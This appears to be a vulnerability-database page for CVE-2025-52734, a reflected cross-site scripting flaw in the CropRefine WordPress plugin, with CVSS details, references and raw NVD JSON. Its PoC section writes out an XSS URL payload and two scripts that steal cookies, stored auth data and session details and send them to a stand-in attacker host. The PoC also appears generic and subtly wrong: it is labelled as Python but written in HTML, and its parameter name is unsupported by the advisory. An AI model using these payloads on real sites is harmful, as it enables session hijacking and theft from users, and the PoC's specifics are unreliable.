CVE-2025-52734

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through <= 1.2.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CropRefine插件 <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52734 Reflected XSS PoC for WordPress CropRefine Plugin -->
<!-- Target: WordPress site with CropRefine plugin <= 1.2.1 -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!-- Malicious URL to trigger XSS -->
<!-- Replace 'target-site.com' with the actual vulnerable site -->
<a href="http://target-site.com/?crop_refine_param=<script>alert('XSS-VULNERABILITY-TESTED')</script>">Click to Test XSS</a>

<!-- JavaScript PoC - Cookie Stealing -->
<script>
  // Extract cookies
  var stolenCookies = document.cookie;
  
  // Send to attacker-controlled server
  var attackerServer = 'https://attacker-controlled-site.com/steal?c=' + encodeURIComponent(stolenCookies);
  
  // Create image element to send request (bypasses some CORS restrictions)
  var img = document.createElement('img');
  img.src = attackerServer;
  document.body.appendChild(img);
</script>

<!-- Advanced PoC - Session Hijacking -->
<script>
  // Read session data
  var sessionData = {
    cookies: document.cookie,
    localStorage: localStorage.getItem('wp_auth'),
    userAgent: navigator.userAgent,
    referrer: document.referrer
  };
  
  // Exfiltrate data
  fetch('https://attacker-controlled-site.com/api/log', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify(sessionData)
  });
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52734
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52734
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52734/
[4] VulDB https://vuldb.com/cve/CVE-2025-52734
[5] https://patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52734", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.410", "lastModified": "2026-04-27T17:16:26.167", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through <= 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}